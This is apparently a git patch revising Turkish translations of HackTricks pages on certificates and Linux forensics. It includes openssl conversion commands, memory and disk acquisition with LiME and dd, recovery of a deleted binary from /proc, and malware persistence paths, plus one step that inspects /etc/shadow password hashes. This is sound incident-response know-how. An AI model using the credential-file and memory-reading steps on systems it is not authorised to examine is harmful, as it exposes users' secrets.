From 386bb1a72a4c7649968c67a24ce100064693d905 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 May 2024 11:16:55 +0000 Subject: [PATCH] Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a --- crypto-and-stego/certificates.md | 56 +-- .../linux-forensics.md | 126 +++--- .../browser-artifacts.md | 126 +++--- .../local-cloud-storage.md | 48 +-- .../office-file-analysis.md | 28 +- .../pdf-file-analysis.md | 34 +- .../brute-force.md | 167 ++++---- .../python/README.md | 24 +- .../search-exploits.md | 32 +- .../bypass-bash-restrictions/README.md | 38 +- .../docker-security/README.md | 122 +++--- .../README.md | 121 +++--- mobile-pentesting/ios-pentesting/README.md | 265 +++++++------ .../burp-configuration-for-ios.md | 46 +-- .../1099-pentesting-java-rmi.md | 58 +-- .../113-pentesting-ident.md | 32 +- .../8086-pentesting-influxdb.md | 36 +- .../pentesting-postgresql.md | 190 ++++----- .../pentesting-web/put-method-webdav.md | 46 +-- .../pentesting-web/wordpress.md | 98 ++--- pentesting-web/cache-deception/README.md | 114 +++--- pentesting-web/clickjacking.md | 58 +-- pentesting-web/command-injection.md | 35 +- pentesting-web/domain-subdomain-takeover.md | 60 +-- pentesting-web/email-injections.md | 54 +-- pentesting-web/nosql-injection.md | 48 +-- pentesting-web/race-condition.md | 106 +++--- pentesting-web/rate-limit-bypass.md | 34 +- .../README.md | 122 +++--- pentesting-web/xs-search/README.md | 359 +++++++++--------- .../active-directory-methodology/dcsync.md | 44 +-- .../kerberoast.md | 60 +-- .../acls-dacls-sacls-aces.md | 102 ++--- 33 files changed, 1459 insertions(+), 1430 deletions(-) diff --git a/crypto-and-stego/certificates.md b/crypto-and-stego/certificates.md index 738dd3a56..9d75fa7b8 100644 --- a/crypto-and-stego/certificates.md +++ b/crypto-and-stego/certificates.md @@ -2,31 +2,31 @@
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile +Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** +* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} ## Sertifika Nedir Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür. -Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir. +Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) 'dır, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir. ## x509 Ortak Alanlar @@ -38,18 +38,18 @@ x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak * **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde. * **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir: * **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar. -* **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar. -* **Belirgin Ad (DN)** tam konu kimliğini kapsar. -* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi detaylandırır, CA için Konu ile benzer alt alanları içerir. -* **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olunur. +* **Ülke (C)**, **Yerel (L)**, **Eyalet veya İl (ST, S veya P)**, **Kuruluş (O)** ve **Kuruluş Birimi (OU)** coğrafi ve kurumsal ayrıntılar sağlar. +* **Ayrıcalıklı Ad (DN)** tam konu kimliğini kapsar. +* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir. +* **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olmak için **Not Önce** ve **Not Sonra** zaman damgaları ile işaretlenir. * Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir. * **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir. #### **Anahtar Kullanımı ve Uzantılar** * **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme. -* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için. -* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son varlık sertifikası mı olduğunu belirtir. +* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucusu kimlik doğrulaması için. +* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son varlık sertifikası mı olduğunu tanımlar. * **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar. * **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar. * **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar. @@ -80,19 +80,19 @@ print(f"Public Key: {public_key}") ### **Sertifika Şeffaflığı Nedir** -Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olduğunu sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır: +Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olmasını sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır: * CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek. * Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak. * Kullanıcıları sahte sertifikalara karşı korumak. -#### **Sertifika Günlükleri** +#### **Sertifika Kayıtları** -Sertifika günlükleri, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu günlükler, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu günlüklere sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Günlük sunucularının kesin sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir varlık tarafından bağımsız olarak yönetilebilir. +Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları sunabilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgili herhangi bir varlık tarafından bağımsız olarak yönetilebilir. #### **Sorgu** -Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. +Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin. ## **Formatlar** @@ -112,7 +112,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için ### **P7B/PKCS#7 Formatı** -* Base64 ASCII'de depolanır, .p7b veya .p7c uzantılarına sahiptir. +* Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir. * Yalnızca sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar. * Microsoft Windows ve Java Tomcat tarafından desteklenir. @@ -122,7 +122,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için * Uzantılar: .pfx, .p12. * Genellikle Windows'ta sertifika içe ve dışa aktarma işlemleri için kullanılır. -### **Format Dönüştürme** +### **Format Dönüşümleri** **PEM dönüşümleri**, uyumluluk için önemlidir: @@ -130,7 +130,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` -* **PEM'den DER'a** +* **PEM'i DER'e dönüştürme** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` @@ -152,17 +152,17 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` -* **PFX to PKCS#8** iki adımdan oluşur: +* **PFX'i PKCS#8'e** dönüştürmek iki adımdan oluşur: 1. PFX'i PEM'e dönüştürün ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` -2. PEM'i PKCS8'e dönüştürün +2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün. ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` * **P7B'den PFX'e** dönüştürmek için de iki komut gereklidir: -1. P7B'yi CER'e dönüştürün +1. P7B'yi CER'e dönüştürün. ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` @@ -175,10 +175,10 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve kolayca yönetin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
@@ -186,10 +186,10 @@ Bugün Erişim Alın: HackTricks'ı desteklemenin diğer yolları: -* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! +* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md index 54d4001f8..e836f7266 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md @@ -3,21 +3,21 @@
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatikleştirilmiş iş akışları** oluşturun.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
-Sıfırdan kahramana kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.** +* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
@@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları: ### Temel Bilgiler -Öncelikle, **iyi bilinen ikili dosyalar ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevresel değişkenleri değiştirerek bu ikili dosyaları kullanın: +Öncelikle, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevresel değişkenleri değiştirerek bu ikilileri kullanın: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 @@ -51,11 +51,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi ``` #### Şüpheli bilgiler -Temel bilgileri elde ederken şu gibi garip şeyleri kontrol etmelisiniz: +Temel bilgileri elde ederken şunlar gibi garip şeyleri kontrol etmelisiniz: - **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz -- `/etc/passwd` içinde kabuksuz kullanıcıların **kayıtlı girişlerini** kontrol edin -- `/etc/shadow` içinde kabuksuz kullanıcılar için **şifre hash'lerini** kontrol edin +- `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin +- `/etc/shadow` içinde kabuğu olmayan kullanıcılar için **şifre hash'lerini** kontrol edin ### Bellek Dökümü @@ -63,11 +63,11 @@ Temel bilgileri elde ederken şu gibi garip şeyleri kontrol etmelisiniz: Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir. {% hint style="info" %} -Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır +Unutmayın ki kurban makineye **LiME veya başka bir şey kuramazsınız** çünkü bu makinede birçok değişiklik yapacaktır {% endhint %} -Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\ -Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp kendi makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**: +Bu yüzden Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\ +Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayarak, ardından bunları kullanarak LiME'ı **derleyebilirsiniz**: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" @@ -84,12 +84,12 @@ LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** i #### Kapatma -Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü bazen sistem, şirketin kapatmaya kıyamadığı bir üretim sunucusu olabilir.\ -Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk seçenek, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. +Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak bir üretim sunucusu olabilir.\ +Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin. #### Diskten bir görüntü almak -Bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce, onunla **salt okunur olarak bağlanacağınızdan** ve herhangi bir bilgiyi değiştirmeyeceğinizden emin olmanız önemlidir. +Bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız önemlidir**. ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -100,7 +100,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med ``` ### Disk Görüntüsü Ön Analizi -Daha fazla veri olmadan bir disk görüntüsünü oluşturma. +Daha fazla veri olmadan bir disk görüntüsü oluşturma. ```bash #Find out if it's a disk image using "file" command file disk.img @@ -156,36 +156,36 @@ ThisisTheMasterSecret
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\ +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\ Bugün Erişim Alın: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} -## Bilinen Kötü Amaçlı Yazılım Ara +## Bilinen Kötü Amaçlı Yazılımları Arayın ### Değiştirilmiş Sistem Dosyaları -Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlama konusunda önemli olan araçlar sunar. +Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar. * **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın. * **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın. ### Kötü Amaçlı Yazılım/Rootkit Tespitçileri -Kötü amaçlı yazılım bulmak için yararlı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: +Kötü amaçlı yazılımları bulmada faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Yüklenen Programları Ara +## Yüklenen Programları Arayın -Debian ve RedHat sistemlerinde yüklenen programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün. +Debian ve RedHat sistemlerinde yüklenen programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrollerle birlikte kullanmayı düşünün. * Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın. * RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir. -Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmemiş yürütülebilir dosyaları tanımlamak için aramanızı geliştirin. +Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmemiş yürütülebilir dosyaları belirleyerek tüm yüklenen programları arama sürecinizi geliştirin. ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -204,12 +204,12 @@ find / -type f -executable | grep
\ -[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ -Bugün Erişim Alın: +[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\ +Bugün Erişim Edinin: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} -## Silinmiş Çalışan İkili Dosyaları Kurtarın +## Silinen Çalışan İkili Dosyaları Kurtarın /tmp/exec dizininden çalıştırılan ve daha sonra silinen bir işlemi hayal edin. Onu çıkarmak mümkündür ```bash @@ -217,7 +217,7 @@ cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` -## Otomatik Başlatma Konumlarını İnceleyin +## Otomatik başlatma konumlarını inceleyin ### Zamanlanmış Görevler ```bash @@ -237,14 +237,14 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra Bir kötü amaçlı yazılımın hizmet olarak kurulabileceği yollar: -- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir. +- **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir. - **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur. - **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır. - Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir. - **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin. - **/etc/systemd/system/multi-user.target.wants/**: Çoklu kullanıcı çalışma düzeyinde başlatılması gereken hizmetlere 